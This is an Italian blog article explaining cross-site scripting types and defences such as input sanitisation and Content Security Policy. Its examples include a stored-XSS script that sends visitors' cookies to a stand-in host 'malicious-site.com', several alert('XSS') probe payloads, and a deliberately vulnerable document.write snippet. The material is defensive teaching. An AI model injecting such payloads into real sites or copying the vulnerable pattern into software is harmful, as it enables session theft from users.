Attacchi XSS: Cosa sono, come funzionano, come proteggersi

22 Febbraio 2023

Attacchi XSS: Cosa sono, come funzionano e come proteggersi

Gli attacchi XSS (Cross-site scripting) sono tra le vulnerabilità più diffuse nelle applicazioni web. In questo articolo approfondiremo cos'è un attacco XSS, quali tipologie esistono, come funziona, e vedremo esempi pratici di codice per comprenderne meglio il funzionamento. Infine, illustreremo come proteggere il tuo sito web da queste minacce informatiche.

Cos'è un attacco XSS?

Il Cross-site scripting (XSS) è un attacco informatico in cui un malintenzionato inserisce codice malevolo, generalmente JavaScript, all’interno di una pagina web affidabile. Quando un utente visualizza questa pagina, il codice malevolo viene eseguito direttamente nel browser della vittima, consentendo all’attaccante di sottrarre informazioni sensibili, rubare sessioni o effettuare operazioni indesiderate.

Tipologie di attacchi XSS

Gli attacchi XSS si suddividono principalmente in tre categorie:

1. Stored XSS

Il codice malevolo viene memorizzato nel server e si esegue automaticamente quando la pagina infetta viene caricata.

Esempio di Stored XSS:

<!-- Un commento malevolo inserito in un forum -->
<script>
  document.location='http://malicious-site.com?cookie='+document.cookie;
</script>

Questo tipo è molto pericoloso perché può colpire tutti gli utenti che visualizzano la pagina compromessa.

2. Reflected XSS

Il codice malevolo è incluso direttamente nella richiesta HTTP (solitamente tramite link malevolo) e riflesso immediatamente nella risposta.

Esempio di Reflected XSS:

URL malevolo:

http://esempio.com/ricerca?q=<script>alert('XSS')</script>

Se il parametro q non viene correttamente sanificato, il codice JavaScript verrà eseguito nel browser dell'utente.

DOM-Based XSS

In questa variante, il codice malevolo viene eseguito direttamente sul client senza essere inviato al server. Accade quando JavaScript gestisce in modo improprio dati non sanificati.

Esempio di DOM-based XSS:

<script>
  var param = location.hash.substr(1);
  document.write("Benvenuto " + param);
</script>

URL malevolo:

http://esempio.com/#<script>alert('XSS')</script>

Come funziona un attacco XSS?

Gli attacchi XSS avvengono principalmente quando un'applicazione web non sanifica correttamente l'input fornito dagli utenti. Il codice malevolo sfrutta questa vulnerabilità per inserirsi nella pagina web ed essere eseguito nel browser delle vittime. In questo modo, l'attaccante può:

  • Sottrarre cookie e token di sessione;
  • Rubare informazioni personali o sensibili;
  • Eseguire azioni nel browser della vittima;
  • Manipolare i contenuti della pagina web.

Come proteggersi dagli attacchi XSS

Per prevenire attacchi XSS è necessario adottare alcune strategie chiave di sicurezza:

1. Sanificazione e validazione degli input

È fondamentale sanificare sempre i dati inseriti dagli utenti prima di visualizzarli sulla pagina web:

Esempio PHP:

// Sanificazione input
$commento_sicuro = htmlspecialchars($commento, ENT_QUOTES, 'UTF-8');
echo $commento_sicuro;

2. Content Security Policy (CSP)

Implementare una Content Security Policy aiuta a limitare le origini consentite per eseguire script e previene l’esecuzione di codice dannoso:

Esempio HTTP Header:

Content-Security-Policy: script-src 'self'; object-src 'none';

2. Output encoding sicuro

Assicurarsi che l'output dei dati utente sia correttamente codificato per evitare esecuzioni accidentali:

Esempio JavaScript:

// Codifica sicura
const nomeUtente = "<script>alert('XSS');</script>";
document.getElementById('user').textContent = nomeUtente;

3. Protezione CSRF e utilizzo di token

Implementare token anti-CSRF per proteggere le richieste e prevenire attacchi combinati XSS/CSRF:

Esempio token CSRF in PHP:

session_start();
$_SESSION['token'] = bin2hex(random_bytes(32));

4. Utilizzare un Web Application Firewall (WAF)

Un firewall delle applicazioni web può rilevare e bloccare attacchi XSS prima che raggiungano l'applicazione.

4. Mantenere aggiornate le applicazioni web

Aggiornare regolarmente il software e i framework aiuta a correggere vulnerabilità note e a proteggersi da attacchi informatici.

Educare gli utenti

Informare gli utenti sui rischi di cliccare su link sospetti o inserire dati sensibili su pagine web non affidabili può ridurre significativamente il rischio.

Conclusione

Gli attacchi XSS rappresentano una minaccia concreta e diffusa sul web. Tuttavia, adottando le best practice illustrate e strumenti adeguati è possibile proteggere efficacemente la tua applicazione e garantire la sicurezza dei tuoi utenti.


Altri articoli dal nostro Tech Blog

24 Marzo 2025
Cos'è una VPN e perchè potrebbe servirti (aggiornato al 2025)

Devi connetterti al tuo server aziendale? Aggirare un blocco dell’IP (ovviamente, per fini etici)? Oppure anche solo assicurarti che la connessione su cui stai navigando mantenga i tuoi dati al sicuro? Per ognuno di questi casi, e per molti altri, la VPN è la tecnologia di cui hai bisogno. Se ne hai sentito parlare e […]

22 Marzo 2025
Vibe Coding: da Copilot a Cursor, l'ascesa degli IDE assisiti dall'AI

Negli ultimi mesi, il modo in cui sviluppatori e programmatori si approcciano alla scrittura del codice è profondamente cambiato, introducendo il concetto di "Vibe Coding" grazie a strumenti di Intelligenza Artificiale che automatizzano e semplificano la scrittura e revisione del codice. Tra i principali IDE con l'assistenza dell'AI troviamo Visual Studio Code (VSCode) con Copilot […]

18 Marzo 2025
La guida definitiva all'hosting: dove ospitare app e siti web

Dove ospitare la tua applicazione web o mobile: guida definitiva a hosting condivisi, VPS, VDS, server dedicati e piattaforme Cloud pubbliche (AWS, Azure, Google Cloud) Quando si decide di sviluppare una nuova applicazione web o mobile, la scelta della giusta soluzione di hosting rappresenta una fase fondamentale per garantire buone prestazioni, sicurezza adeguata e facilità […]

15 Marzo 2025
La direttiva NIS2 e le responsabilità del management: quali rischi per CEO, CIO e CISO?

La nuova direttiva europea sulla sicurezza informatica, nota come NIS2, introduce significativi cambiamenti rispetto alla precedente direttiva NIS, ampliando la platea delle organizzazioni coinvolte e assegnando responsabilità precise ai vertici aziendali. CEO, CIO e CISO sono chiamati direttamente in causa, con implicazioni rilevanti sia dal punto di vista legale che organizzativo. Le principali novità della […]

Richiedi un incontro

Compila il form per ottenere una consulenza personalizzata per il tuo progetto.

Compila i campi per essere ricontattato

© Pizero Design srl, tutti i diritti riservati - P.I. 02313970465 - REA LU-215417
X
lockuserscartcalendar-fullsmartphonelaptopbriefcase